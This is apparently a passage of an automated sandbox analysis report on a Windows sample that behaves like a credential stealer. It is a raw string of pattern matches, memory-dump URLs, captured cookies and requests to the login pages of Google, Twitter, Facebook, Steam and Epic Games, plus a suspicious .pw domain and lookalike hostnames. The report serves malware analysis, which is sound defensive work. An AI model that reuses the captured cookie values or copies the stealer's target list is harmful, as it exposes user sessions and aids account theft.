"http://crls.pki.goog/gts1c3/moVDfISia2k.crl%7" Pattern match: "http://crl3.digicert.com/sha2-ha-server-g6.crl.http://crl4.digicert.com/sha2-ha-server-g6.crl0OSt[a*#1DgL3*" Pattern match: "NOFORMmicrosoft.com/102433237894403108561027971357230938743SRCHUIDV=2&GUID=426377958C8445E3B4EA69482BD0E747&dmnchg=1microsoft.com/102433237894403108561027971357230938743SRCHUSRDOB=20220131microsoft.com/102433237894403108561027971357230938743SRCHHPGUSRSRCHL" Pattern match: "IESS4Abing.com/1024294378944031085610419731758630938742SRCHUIDV=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1bing.com/1024294378944031085610419731758630938742SRCHUSRDOB=20220131&T=1643622536000bing.com/1088404823347231085593429095039930938742bing.com/10" Pattern match: "3A169981639199338472twitter.com/10259576826883121644774808095231069588guest_id_adsv1%3A169981639199338472twitter.com/10259576826883121644776089345231069588personalization_idv1_/7m2PPoqMiElrlmlnSvF8g==twitter.com/10259576826883121644776433095231069588gues" Pattern match: "3A169981639199338472twitter.com/10259576826883121644774808095231069588guest_id_adsv1%3A169981639199338472twitter.com/10259576826883121644776089345231069588personalization_idv1_/7m2PPoqMiElrlmlnSvF8g==twitter.com/10259576826883121644776433095231069588" Pattern match: "MUIDB33543A23C5CC6BA30B5A29E4C4486A8Awww.msn.com/9216411582720031148050103394032731069588sptmarketen-us||us|en-us|en-us|en||RefA=6EB77857ED444F749ADF14189579ADAB.RefC=2023-11-12T19:13:41Zwww.msn.com/1024195925619231216648103456532731069588" Pattern match: "-RrAhqf0google.com/9217285899993631106409103737782731069588" Pattern match: "CheckConnectionTempCookie943278026accounts.youtube.com/accounts/2147484752109980595231069588100237782731069588CheckConnectionTempCookie39151305accounts.youtube.com/accounts/2147484752110980595231069588101776845231069588" Pattern match: "-Zj7TrWIzMYtio-ESrv80UDshp662pj4AUpW4HQBoOjJSO-ZgoucHk-k76iKYnifFu98lqbKSJcgoogle.com/9217290899993631106409109308095231069588" Pattern match: "ID3qwDVcaJQwBxVkaccounts.google.com/92171207682688312164471004252827310695887291815_52_52_123900_48_436380accounts.google.com/10897821745923107562391147939031069588" Pattern match: "thIeVjfWX8gZbTyjaccounts.google.com/921782768268831216447631362202310695887291815_52_52_123900_48_436380accounts.google.com/10897821745923107562391147939031069588" Pattern match: "thIeVjfWX8gZbTyjaccounts.google.com/921782768268831216447631362202310695887291815_52_52_123900_48_436380accounts.google.com/10897821745923107562391163564031069588" Pattern match: "MUID33543A23C5CC6BA30B5A29E4C4486A8Amsn.com/1025411582720031148050103390126531069588_EDGE_Vmsn.com/9216411582720031148050103401845231069588USRLOCmsn.com/9217195925619231216648103468251531069588" Pattern match: "3A169981639199338472twitter.com/10259576826883121644774808095231069588guest_id_adsv1%3A169981639199338472twitter.com/10259576826883121644776089345231069588" Pattern match: "MUID33543A23C5CC6BA30B5A29E4C4486A8Amsn.com/1025411582720031148050103390126531069588_EDGE_Vmsn.com/9216411582720031148050103401845231069588" Pattern match: "IlW1hMx6yF9ml4lLaccounts.google.com/92177376826883121644754136220231069588" Pattern match: ".google.com/92176976826883121644751870595231069588" Pattern match: "skb4C-G5JMyhLf-laccounts.google.com/92177676826883121644756948720231069588" Pattern match: "1z4h4S16XwuAupn3accounts.google.com/92177876826883121644758308095231069588" Pattern match: "PivD-Sh3p4p7Xuz1accounts.google.com/92177776826883121644758198720231069588" Pattern match: "lSd9-AhsRKoDnawNaccounts.google.com/92177976826883121644761401845231069588" Pattern match: ".google.com/92176876826883121644750026845231069588" Pattern match: "thIeVjfWX8gZbTyjaccounts.google.com/92178276826883121644763136220231069588" Pattern match: "CheckConnectionTempCookie943278026accounts.youtube.com/accounts/2147484752109980595231069588100237782731069588" Pattern match: "MUIDB2118448163826B7D2020574662066A19ieonline.microsoft.com/921638458272003114805076104970231069588" Pattern match: "3A169981639199338472twitter.com/10259576826883121644774808095231069588" Pattern match: "MUIDB33543A23C5CC6BA30B5A29E4C4486A8Awww.msn.com/9216411582720031148050103394032731069588" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/108814898059523106958889460439031069588" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/108814898059523106958889401845231069588" Pattern match: "MUID33543A23C5CC6BA30B5A29E4C4486A8Amsn.com/1025411582720031148050103390126531069588" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" Pattern match: "nactkwww.msn.com/spartan/108834324326431367516156339216030633261" Heuristic match: "o.ss2.us" Heuristic match: "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Heuristic match: "ocsp.rootg2.amazontrust.com" Heuristic match: "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Heuristic match: "ocsp.rootca1.amazontrust.com" Heuristic match: "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Heuristic match: "crl.rootca1.amazontrust.com" Heuristic match: "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Heuristic match: "ocsp.r2m02.amazontrust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Heuristic match: "crl.r2m02.amazontrust.com" Heuristic match: "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Heuristic match: "killredls.pw" Heuristic match: "abs.twimg.com" Heuristic match: "accounts.google.com" Heuristic match: "accounts.youtube.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "play.google.com" Heuristic match: "store.steampowered.com" Heuristic match: "twitter.com" Pattern match: "www.epicgames.com" Pattern match: "www.facebook.com" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzURLWHcKfzUisoZTTCX94C38kCKw8Inv5mv5hFiLR5y6SFPV5zR_Pd41NgG8b7FmAi2A2LMgStrict-Transport-Security" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzURLWHcKfzUisoZTTCX94C38kCKw8Inv5mv5hFiLR5y6SFPV5zR_Pd41NgG8b7FmAi2A2LMg" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyznYjlqSYE5JlLK9PJsTmzOQsU1P2LVa3cVV6VwvBbN6FvPqPdn3WvevBRR2hCo6z5_k7fyXw&passive=1209600&flowName=GlifWe" Pattern match: "accounts.google.com/x-ua-compatible" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyw44fH8B0xPRlfXb7rAm6jqDrHa67KayB1ZJkgcCFf0K0a2_XrqfkKMJ6elx6ZDRBEqvKGVXgStrict-Transport-Security" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyw44fH8B0xPRlfXb7rAm6jqDrHa67KayB1ZJkgcCFf0K0a2_XrqfkKMJ6elx6ZDRBEqvKGVXg" Pattern match: "https://www.google.com/favicon.icoStrict-Transport-Security" Pattern match: "https://accounts.google.com/Accept-Language" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi}]}Cross-Origin-Opener-Policy-Report-Only" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInUi}]}Accept-CH" Pattern match: "g.co/p3phelp" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInUi}]}Cross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/boq-infra/identity-boq-js-css-signersCross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/apps-themesCross-Origin-Resource-Policy" Pattern match: "https://twitter.com/i/flow/loginAccept-Language" Pattern match: "https://twitter.com" Pattern match: "https://csp.withgoogle.com/csp/report-to/static-on-bigtable}]}Content-Length" Pattern match: "https://accounts.google.comContent-Security-Policy" Pattern match: "https://accounts.google.comAccess-Control-Request-Method" Pattern match: "https://accounts.google.comAccess-Control-Allow-Methods" Pattern match: "accounts.google.com/v3/signin/identifier\,null,[\\],0]],\1618741094019633836\,3,[null,\S369200035:1699816373710141\]],null,null,null,null,null,null,-3600,null,null,null,null,[],1,null,null,null,null,null,[]],[1699812934000,null,[],null,null,null," Pattern match: "https://accounts.google.comCross-Origin-Resource-Policy" Pattern match: "accounts.google.com/v3/signin/identifier\,null,[\\],0]],\7342274814592905735\,3,[null,\S-1240918708:1699816376772617\]],null,null,null,null,null,null,-3600,null,null,null,null,[],1,null,null,null,null,null,[]],[1699812935000,null,[],null,null,nul" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/ed=1/rs=AOaEmlGbCdZjg_CQgN96PqaF3DkbkH95wQ/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVF9eI.woff" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlFzBOOnuN1DTGGLPRg8a1QQot3pWA/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxIIzQ.woff" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "https://www.facebook.com/login/" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/y_/l/0,cross/piXcg3ZJdR_.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yo/l/0,cross/zXftd8vihjK.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yi/l/0,cross/yotEdcUw9Gj.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/y9/l/0,cross/PNnTK-BG2Im.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yc/l/0,cross/1FPNULrhhBJ.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yk/r/OWR-hjvxarf.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "www.kfc.co.th,learn.pantheon.io,www.landmarkshops.in,www.ncl.com,s0.wp.com,www.tatacliq.com,bs.serving-sys.com,kohls.com,lazada.co.th,xg4ken.com,technopark.ru,officedepot.com.mx,bestbuy.com.mx,booking.com,nibio.no,myworkdayjob" Pattern match: "www.facebook.com\/login}]],[UITinyViewportAction,init,[],[]],[ResetScrollOnUnload,init,[__elem_a588f507_0_0_uF],[{__m:__elem_a588f507_0_0_uF}]],[KeyboardActivityLogger,init,[],[]],[FocusRing,init,[],[]],[ErrorMessageConsole,listen" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yl/l/0,cross/R2oOyt8zLzV.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yp/r/gC0mb5XShS_.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yz/r/fiUTTh4d_Lr.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3i7M54/yy/l/en_US/fVsT0Ugl-s1.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yt/r/v75M7CPu9-P.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yT/r/0ZOQmhGCKxB.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://pixel.facebook.com},325],[WebDevicePerfInfoData,[],{needsFullUpdate:true,needsPartialUpdate:false,shouldLogResourcePerf:false},3977],[cr:1634616,[UserActivityBlue],{__rc:[UserActivityBlue,null]},-1],[cr:1353359,[EventListenerImplForBlue" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.yDkzDkiD8kw.L.B1.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/ed=1/rs=AOaEmlGU7QwgLL4aZ4tBHMf2ndbScbU7gw/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://assets.msn.com/config/v1/"" Pattern match: "https://+l+/OneCollector/1.0+function(t){return?+Object.keys(t).map" Pattern match: "www.bing.com" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/vendors.ef7dde432bed42c1b7db.js" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/microsoft.f0dc8bbbc7b4d116660b.js" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/common.1b9028fc92fa447704b8.js" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/experience.b069f413a8afbc8a21d4.js" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/ed=1/rs=AOaEmlFI4UxK44lUwJvYzcoc958fCFUrCA/m=identifierview,_b,_tp" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHIoiT-65iMVakMzsOqTDMIGph2hg/m=_b,_tp" Pattern match: "https://abs.twimg.com/responsive-web/client-web/vendor.23d1ab8a.js" Pattern match: "https://twitter3e4tixl4xyajtrzo62zg5vztmjuricljdp2c5kshju4avyoid.onion/" Pattern match: "https://static.ads-twitter.com/uwt.js" Pattern match: "https://abs.twimg.com/responsive-web/client-web/shared~bundle.Birdwatch~bundle.TwitterArticles~bundle.Compose~bundle.Settings~bundle.Display~bundle.Ocf~bundl.d66d482a.js" Pattern match: "https://abs.twimg.com/errors/logo46x38.png" Pattern match: "https://help.twitter.com/using-twitter/twitter-supported-browsers" Pattern match: "https://twitter.com/tos" Pattern match: "https://twitter.com/privacy" Pattern match: "https://support.twitter.com/articles/20170514" Pattern match: "https://legal.twitter.com/imprint.html" Pattern match: "https://business.twitter.com/en/help/troubleshooting/how-twitter-ads-work.html?ref=web-twc-ao-gbl-adsinfo&utm_source=twc&utm_medium=web&utm_campaign=ao&utm_content=adsinfo" Heuristic match: "htt____account__.g00gle.c0m.__I3.___ignin.__'dentifier_'continue=http____j__F__Faccount__.google.co" Heuristic match: "hctp_://_tore.=ceampo1vered.com" Heuristic match: "E;.JS;.JSE;.WSF;.WS" Heuristic match: "PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MW" Heuristic match: "PATHEXT=.CO" Pattern match: "www.facebook.com/login" Heuristic match: "acebook.com" Heuristic match: "witter.com" Heuristic match: "ccounts.google.com" Pattern match: "store.steampowered.com/login/" Heuristic match: "tore.steampowered.com" Pattern match: "twitter.com/i/flow/login"60:T13f2,Found URL "https://accounts.google.com/:\windows\system32\propsys.dlllocationnotificationsview.xmlmsspellcheckingfacility.exenettrace.pla.diagnostics.xmlportabledeviceconnectapi.dllportabledevicewiacompat.dllecurity=impersonation" - Source: "00000000-00003628.00000000.67332.00760000.00000004.mdmp") Found URL "https://store.steampowered.com/login/api-ms-win-crt-filesystem-l1-1-0.dllapi-ms-win-crt-multibyte-l1-1-0.dllapi-ms-win-downlevel-ole32-l1-1-0.dllapi-ms-win-security-base-l1-1-0.dllapi-ms-win-security-sddl-l1-1-0.dllapi-ms-win-service-core-l1-1-0.dllapi-ms-win-service-winsvc-l1-1-0.dllauxiliarydisplayclassinstaller.dllommonprogramfiles=c:\program" - Source: "00000000-00003628.00000000.67332.00760000.00000004.mdmp") Found URL "https://store.steampowered.com/login/c:\0f78b956-909d-45b2-8b8d-2e5e1d5226497-663127204-1001hapubws\appdata\local\programs\python\python36-32\-ms-winclsid\" - Source: "00000000-00003628.00000000.67332.00760000.00000004.mdmp") Found URL "https://store.steampowered.com/login/c:\program" - Source: "00000000-00003628.00000000.67332.00760000.00000004.mdmp") Found URL "https://accounts.google.com/c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\:\users\hapubws\appdata\local\temp\ixp003.tmp\1gt33ks4.exeindows\system32\api-ms-win-core-sysinfo-l1-2-1.dlldows\system32\api-ms-win-core-sysinfo-l1-2-1.dllhttps://store.steampowered.com/login/istry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classes_di@@itioyxigsookh!44zxxtnuoh5" - Source: "00000000-00003628.00000000.67332.00760000.00000004.mdmp") Found URL "https://accounts.google.com/k" - Source: "00000000-00003628.00000000.67332.00760000.00000004.mdmp") Found URL "https://store.steampowered.com/login/c:\users\hapubws\appdata\local\temp\ixp003.tmphttps://store.steampowered.com/login/https://store.steampowered.com/login/https://store.steampowered.com/login/:\users\hapubws\appdata\local\temp\ixp003.tmp:\users\hapubws\appdata\local\temp\ixp003.tmp:\program" - Source: "00000000-00003628.00000000.67332.007D0000.00000004.mdmp") Found URL "https://accounts.google.com/https://accounts.google.com/:\program" - Source: "00000000-00003628.00000000.67332.007D0000.00000004.mdmp") Found URL "https://accounts.google.com/:\users\hapubws\appdata\local\temp\ixp003.tmp:\program" - Source: "00000000-00003628.00000000.67332.007D0000.00000004.mdmp") Found URL "https://www.facebook.com/loginsersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00003628.00000000.67332.007D0000.00000004.mdmp") Found URL "https://store.steampowered.com/login/rstrtmgr.dllrstrui.exertffilt.dllrtutils.dlldll32.exerunonce.exerwinsta.exesamcli.dllsampleres.dllsamsrv.dllsberes.dllscarddscardsvr.dllscecli.dllscesrv.dllschannel.dschedcli.dllschedsvc.dllschtasks.exescripto.dllscrnsave.scrscrobj.dllscrptadm.dllscrrun.dll" - Source: "00000000-00003628.00000000.67332.007D0000.00000004.mdmp") Found URL "https://accounts.google.com/https://accounts.google.com/ttps://twitter.com/i/flow/login:\windows\system32\propsys.dlllocationnotificationsview.xmlttps://www.epicgames.com/id/loginnettrace.pla.diagnostics.xmlportabledeviceconnectapi.dllportabledevicewiacompat.dllecurity=impersonation" - Source: "00000000-00003628.00000001.68238.00760000.00000004.mdmp") Found URL "https://www.youtube.com/api-ms-win-core-rtlsupport-l1-1-0.dllapi-ms-win-core-sysinfo-l1-1-0.dllapi-ms-win-core-threadpool-l1-1-0.dllapi-ms-win-crt-filesystem-l1-1-0.dllhttps://www.youtube.com/https://www.youtube.com/https://www.youtube.com/api-ms-win-security-sddl-l1-1-0.dllapi-ms-win-service-core-l1-1-0.dllapi-ms-win-service-winsvc-l1-1-0.dllauxiliarydisplayclassinstaller.dllommonprogramfiles=c:\program" - Source: "00000000-00003628.00000001.68238.00760000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.comid/loginform/:\users\hapubws\appdata\local\temp\ixp003.tmp\1gt33ks4.exedows\system32\api-ms-win-core-sysinfo-l1-2-1.dlldows\system32\api-ms-win-core-sysinfo-l1-2-1.dll78b709d55e1" - Source: "00000000-00003628.00000001.68238.00760000.00000004.mdmp") Found URL "https://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginc_20277.nlsc_20278.nlsc_20280.nlsc_20284.nlsc_20285.nlsc_20290.nlsc_20297.nlsc_20420.nlsc_20423.nlsc_20424.nlsc_20833.nlsc_20838.nlsc_20866.nlsc_20871.nlsc_20880.nlsc_20905.nlsc_20924.nlsc_20932.nlsc_20936.nlsc_20949.nlsc_21025.nlsc_21027.nlsc_21866.nlsc_28591.nlsc_28592.nlsc_28593.nlsc_28594.nlsc_28595.nlsc_28596.nlsc_28597.nlsc_28598.nlsc_28599.nlsc_28603.nlsc_28605.nlsc_g18030.dllc_is2022.dllc_iscii.dlld3d10core.dlld3d10warp.dlld3d10_1.dlld3d8thk.dlld3dim700.dllhttps://store.steampowered.com/login/_compat_layer=elevatecreateprocess" - Source: "00000000-00003628.00000001.68238.00760000.00000004.mdmp") Found URL "https://store.steampowered.com/login/https://accounts.google.com/k" - Source: "00000000-00003628.00000001.68238.00760000.00000004.mdmp")61:T7a2,Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 204 No ContentContent-Length: 0Cross-Origin-Resource-Policy: cross-originDate: Sun, 12 Nov 2023 19:13:45 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 204 No ContentContent-Length: 0Cross-Origin-Resource-Policy: cross-originDate: Sun, 12 Nov 2023 19:13:47 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /login/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: store.steampowered.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: twitter.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Fri, 10 Nov 2023 11:41:40 GMTExpires: Sat, 09 Nov 2024 11:41:40 GMTAge: 199887Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL")62:T1725,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLw" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base62 string in 